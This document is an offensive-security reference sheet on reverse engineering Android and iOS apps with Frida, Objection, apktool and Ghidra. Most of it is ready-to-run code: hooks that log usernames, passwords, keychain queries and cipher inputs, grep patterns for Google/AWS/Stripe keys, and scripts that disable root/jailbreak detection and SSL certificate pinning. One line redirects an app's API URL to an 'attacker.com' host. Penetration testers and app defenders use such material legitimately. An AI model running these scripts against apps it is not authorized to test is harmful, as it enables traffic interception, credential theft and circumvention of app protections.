MOBILE-REVERSE-ENG
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Advanced techniques for reverse engineering Android and iOS mobile applications using Frida, Objection, and native tools.
FRIDA HOOKS - JAVA (ANDROID)#
# Basic method hook
Java.perform(function() {
var cls = Java.use("com.example.app.AuthManager");
cls.validateToken.implementation = function(token) {
console.log("[*] validateToken called with: " + token);
var result = this.validateToken(token);
console.log("[*] validateToken returned: " + result);
return result;
};
});
# Hook constructor
Java.perform(function() {
var cls = Java.use("com.example.app.User");
cls.$init.overload("java.lang.String", "java.lang.String").implementation =
function(username, password) {
console.log("[*] User created: " + username + " / " + password);
this.$init(username, password);
};
});
# Hook overloaded methods
Java.perform(function() {
var cls = Java.use("com.example.app.Crypto");
// Specific overload
cls.encrypt.overload("java.lang.String").implementation = function(data) {
console.log("[*] encrypt(String): " + data);
return this.encrypt(data);
};
// All overloads
cls.encrypt.overloads.forEach(function(overload) {
overload.implementation = function() {
console.log("[*] encrypt called, args: " + JSON.stringify(arguments));
return overload.apply(this, arguments);
};
});
});
# Enumerate loaded classes
Java.perform(function() {
Java.enumerateLoadedClasses({
onMatch: function(className) {
if (className.includes("com.example")) {
console.log(className);
}
},
onComplete: function() { console.log("Done"); }
});
});
# Enumerate methods of a class
Java.perform(function() {
var cls = Java.use("com.example.app.AuthManager");
var methods = cls.class.getDeclaredMethods();
methods.forEach(function(method) {
console.log(method.getName() + " -> " + method.toGenericString());
});
});
# Hook all methods of a class
Java.perform(function() {
var cls = Java.use("com.example.app.NetworkManager");
var methods = cls.class.getDeclaredMethods();
methods.forEach(function(method) {
var name = method.getName();
var overloads = cls[name].overloads;
overloads.forEach(function(overload) {
overload.implementation = function() {
console.log("[*] " + name + " called");
return overload.apply(this, arguments);
};
});
});
});
# Access and modify fields
Java.perform(function() {
var cls = Java.use("com.example.app.Config");
// Static field
console.log("API_URL: " + cls.API_URL.value);
cls.API_URL.value = "http://attacker.com/api";
// Instance field (need to find instance first)
Java.choose("com.example.app.Config", {
onMatch: function(instance) {
console.log("Debug: " + instance.debugMode.value);
instance.debugMode.value = true;
},
onComplete: function() {}
});
});
# Intercept SharedPreferences
Java.perform(function() {
var sp = Java.use("android.app.SharedPreferencesImpl");
sp.getString.implementation = function(key, defValue) {
var val = this.getString(key, defValue);
console.log("[SP] getString(" + key + ") = " + val);
return val;
};
var editor = Java.use("android.app.SharedPreferencesImpl$EditorImpl");
editor.putString.implementation = function(key, value) {
console.log("[SP] putString(" + key + ", " + value + ")");
return this.putString(key, value);
};
});
# Hook Android logging
Java.perform(function() {
var Log = Java.use("android.util.Log");
Log.d.overload("java.lang.String", "java.lang.String").implementation =
function(tag, msg) {
console.log("[LOG.d] " + tag + ": " + msg);
return this.d(tag, msg);
};
});
FRIDA HOOKS - OBJECTIVE-C (IOS)#
# Basic method hook
var cls = ObjC.classes.AuthManager;
Interceptor.attach(cls["- validateToken:"].implementation, {
onEnter: function(args) {
console.log("[*] validateToken: " + ObjC.Object(args[2]).toString());
},
onLeave: function(retval) {
console.log("[*] returned: " + retval);
}
});
# Hook class method (+ prefix)
Interceptor.attach(ObjC.classes.UserManager["+ sharedInstance"].implementation, {
onEnter: function(args) {
console.log("[*] sharedInstance called");
}
});
# Replace method implementation
var cls = ObjC.classes.SecurityCheck;
cls["- isJailbroken"].implementation = ObjC.implement(
cls["- isJailbroken"], function(handle, selector) {
console.log("[*] isJailbroken bypassed");
return 0; // false
}
);
# Enumerate ObjC classes
for (var cls in ObjC.classes) {
if (cls.includes("Auth") || cls.includes("Login")) {
console.log(cls);
}
}
# List methods of a class
var methods = ObjC.classes.AuthManager.$ownMethods;
methods.forEach(function(method) {
console.log(method);
});
# Hook NSURLSession (network requests)
var session = ObjC.classes.NSURLSession;
Interceptor.attach(session["- dataTaskWithRequest:completionHandler:"].implementation, {
onEnter: function(args) {
var request = ObjC.Object(args[2]);
console.log("[*] URL: " + request.URL().absoluteString());
console.log("[*] Method: " + request.HTTPMethod());
var body = request.HTTPBody();
if (body) {
var bodyStr = ObjC.classes.NSString.alloc()
.initWithData_encoding_(body, 4);
console.log("[*] Body: " + bodyStr);
}
}
});
# Hook NSUserDefaults
Interceptor.attach(
ObjC.classes.NSUserDefaults["- objectForKey:"].implementation, {
onEnter: function(args) {
this.key = ObjC.Object(args[2]).toString();
},
onLeave: function(retval) {
if (retval.toInt32() !== 0) {
console.log("[UD] " + this.key + " = " + ObjC.Object(retval));
}
}
});
# Intercept Keychain operations
Interceptor.attach(
Module.findExportByName(null, "SecItemCopyMatching"), {
onEnter: function(args) {
console.log("[Keychain] SecItemCopyMatching query:");
console.log(ObjC.Object(args[0]).toString());
},
onLeave: function(retval) {
console.log("[Keychain] result: " + retval);
}
});
OBJECTION RUNTIME MANIPULATION#
# Explore the app environment objection -g com.example.app explore # Memory operations memory dump all /tmp/memdump memory dump from_base <addr> <size> /tmp/region memory search "password" memory list modules memory list exports <module> # Hooking android hooking watch class com.example.app.AuthManager android hooking watch class_method com.example.app.AuthManager.login --dump-args --dump-return android hooking set return_value com.example.app.AuthManager.isLoggedIn true # Class and method exploration android hooking search classes auth android hooking search methods com.example.app login android hooking list class_methods com.example.app.AuthManager # iOS equivalents ios hooking watch class AuthManager ios hooking watch method "-[AuthManager validateToken:]" --dump-args ios hooking set return_value "-[AuthManager isJailbroken]" false ios hooking search classes Auth ios hooking list class_methods AuthManager # File system browsing ls /data/data/com.example.app/ file download /data/data/com.example.app/shared_prefs/prefs.xml ./prefs.xml file upload ./payload.so /data/local/tmp/ # SQLite access sqlite connect /data/data/com.example.app/databases/app.db .tables SELECT * FROM users;
SMALI PATCHING (ANDROID)#
# Smali is the assembly language for Dalvik bytecode
# Decompile with apktool, modify smali, rebuild
Common patches:
# 1. Bypass boolean check (return true)
# Before:
.method public isRooted()Z
... detection logic ...
return v0
.end method
# After:
.method public isRooted()Z
const/4 v0, 0x0 # 0 = false
return v0
.end method
# 2. Bypass string comparison
# Before:
invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v2
if-eqz v2, :cond_fail
# After (always succeed):
const/4 v2, 0x1
if-eqz v2, :cond_fail
# 3. Remove certificate pinning
# Find and comment out or NOP:
# - OkHttp CertificatePinner.check()
# - X509TrustManager implementations
# - SSL pinning in network_security_config.xml
# 4. Enable debug logging
# Add to any method:
const-string v0, "DEBUG"
const-string v1, "Method reached!"
invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
# Rebuild workflow:
apktool d app.apk -o app_patched/
# ... make smali modifications ...
apktool b app_patched/ -o patched.apk
# Align and sign:
zipalign -v 4 patched.apk aligned.apk
apksigner sign --ks test.keystore aligned.apk
IDA / GHIDRA FOR NATIVE LIBRARIES#
# Android native libs location
# APK/lib/arm64-v8a/*.so (64-bit ARM)
# APK/lib/armeabi-v7a/*.so (32-bit ARM)
# APK/lib/x86_64/*.so (emulator)
Ghidra workflow:
1. File > Import File > select .so file
2. Set language: AARCH64:LE:64:v8A (for arm64)
3. Auto-analyze (accept defaults)
4. Look for JNI functions: Java_<package>_<class>_<method>
5. Window > Function Graph for visual analysis
6. Search > For Strings (encryption keys, URLs, etc.)
IDA Pro/Free workflow:
1. Open .so file
2. Select ARM Little-Endian processor
3. Wait for auto-analysis
4. Exports tab: find JNI_OnLoad, registered natives
5. Navigate to function, press F5 for decompilation
6. Cross-references (Ctrl+X) to trace data flow
Key patterns in native code:
- JNI_OnLoad: dynamic method registration
- RegisterNatives: maps Java methods to native functions
- Crypto functions: AES_encrypt, EVP_EncryptInit
- Network: SSL_CTX_set_verify (pinning)
- Anti-debug: ptrace(PTRACE_TRACEME)
- Anti-tampering: checking APK signature in native
# Frida native hook
Interceptor.attach(Module.findExportByName("libnative.so", "encrypt_data"), {
onEnter: function(args) {
console.log("Input: " + Memory.readUtf8String(args[0]));
console.log("Key: " + Memory.readByteArray(args[1], 32));
},
onLeave: function(retval) {
console.log("Output: " + Memory.readByteArray(retval, 64));
}
});
API KEY EXTRACTION#
Static analysis locations:
Android:
- res/values/strings.xml
- AndroidManifest.xml (meta-data tags)
- BuildConfig.java / BuildConfig.class
- assets/ directory (config files)
- Native libraries (.so files)
- gradle.properties (if bundled)
iOS:
- Info.plist
- Embedded plist files
- Hardcoded in source (strings command on binary)
- Keychain (runtime extraction)
Common patterns:
grep -rni "api.key\|apikey\|api_key\|API_KEY" .
grep -rni "secret\|token\|password\|credential" .
grep -rni "AIza\|AKIA\|sk_live\|pk_live" . # Google/AWS/Stripe
grep -rni "firebase\|amazonaws\|googleapis" .
Runtime extraction with Frida:
// Hook before encryption/hashing
Java.perform(function() {
var cipher = Java.use("javax.crypto.Cipher");
cipher.doFinal.overload("[B").implementation = function(data) {
console.log("[*] Cipher.doFinal input: " +
Java.use("java.lang.String").$new(data));
return this.doFinal(data);
};
});
ROOT / JAILBREAK DETECTION BYPASS#
Android root detection common checks:
- File existence: /system/app/Superuser.apk, /system/xbin/su, /sbin/su
- Package check: com.topjohnwu.magisk, eu.chainfire.supersu
- Build tags: test-keys
- Shell command: which su, su -c id
- SafetyNet/Play Integrity API
Bypass with Frida:
Java.perform(function() {
// Bypass file existence checks
var File = Java.use("java.io.File");
File.exists.implementation = function() {
var path = this.getAbsolutePath();
if (path.includes("su") || path.includes("Superuser") ||
path.includes("magisk")) {
console.log("[*] Hiding root file: " + path);
return false;
}
return this.exists();
};
// Bypass Runtime.exec
var Runtime = Java.use("java.lang.Runtime");
Runtime.exec.overload("java.lang.String").implementation = function(cmd) {
if (cmd.includes("su") || cmd.includes("which")) {
console.log("[*] Blocking exec: " + cmd);
throw Java.use("java.io.IOException").$new("not found");
}
return this.exec(cmd);
};
});
Bypass with Magisk:
- MagiskHide / DenyList: hide root from specific apps
- Zygisk + Shamiko module for advanced hiding
iOS jailbreak detection bypass:
// Common checks: file existence, sandbox escape, dylib injection
var paths = ["/Applications/Cydia.app", "/bin/bash", "/usr/sbin/sshd",
"/etc/apt", "/private/var/lib/apt"];
Interceptor.attach(Module.findExportByName(null, "stat"), {
onEnter: function(args) {
this.path = Memory.readUtf8String(args[0]);
},
onLeave: function(retval) {
if (paths.some(p => this.path && this.path.includes(p))) {
console.log("[*] Hiding: " + this.path);
retval.replace(-1);
}
}
});
SSL PINNING BYPASS SCRIPTS#
# Universal Android SSL bypass (Frida)
Java.perform(function() {
// OkHttp3
try {
var CertPinner = Java.use("okhttp3.CertificatePinner");
CertPinner.check.overload("java.lang.String", "java.util.List")
.implementation = function() {
console.log("[*] OkHttp3 pinning bypassed");
};
} catch(e) {}
// TrustManagerImpl
try {
var TrustManager = Java.use("com.android.org.conscrypt.TrustManagerImpl");
TrustManager.verifyChain.implementation = function() {
console.log("[*] TrustManager bypassed");
return arguments[0];
};
} catch(e) {}
// Custom X509TrustManager
var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
var X509TM = Java.use("javax.net.ssl.X509TrustManager");
var SSLContext = Java.use("javax.net.ssl.SSLContext");
var nullTrustManager = Java.array("javax.net.ssl.TrustManager", [
Java.registerClass({
name: "com.bypass.TrustManager",
implements: [X509TM],
methods: {
checkClientTrusted: function() {},
checkServerTrusted: function() {},
getAcceptedIssuers: function() { return []; }
}
}).$new()
]);
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;",
"[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom")
.implementation = function(km, tm, sr) {
console.log("[*] SSLContext.init bypassed");
this.init(km, nullTrustManager, sr);
};
});
DYNAMIC INSTRUMENTATION TIPS#
# Trace all JNI calls
frida-trace -U -i "Java_*" com.example.app
# Trace crypto operations
frida-trace -U -i "AES*" -i "EVP_*" -i "CC_*" com.example.app
# Trace file operations
frida-trace -U -i "open" -i "fopen" -i "read" com.example.app
# Stalker (instruction-level tracing)
# WARNING: very slow, use sparingly
Stalker.follow(threadId, {
events: { call: true, ret: false },
onCallSummary: function(summary) {
for (var addr in summary) {
var mod = Process.findModuleByAddress(addr);
if (mod && mod.name === "libnative.so") {
console.log(addr + " called " + summary[addr] + " times");
}
}
}
});
# Memory scanning
Memory.scan(baseAddr, size, "41 50 49 5F 4B 45 59", { // "API_KEY"
onMatch: function(address, size) {
console.log("Found at: " + address);
console.log(Memory.readUtf8String(address, 100));
},
onComplete: function() { console.log("Scan complete"); }
});
REFERENCES#
- Frida Docs: https://frida.re/docs/ - Frida CodeShare: https://codeshare.frida.re/ - Objection Wiki: https://github.com/sensepost/objection/wiki - OWASP MASTG: https://mas.owasp.org/MASTG/ - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida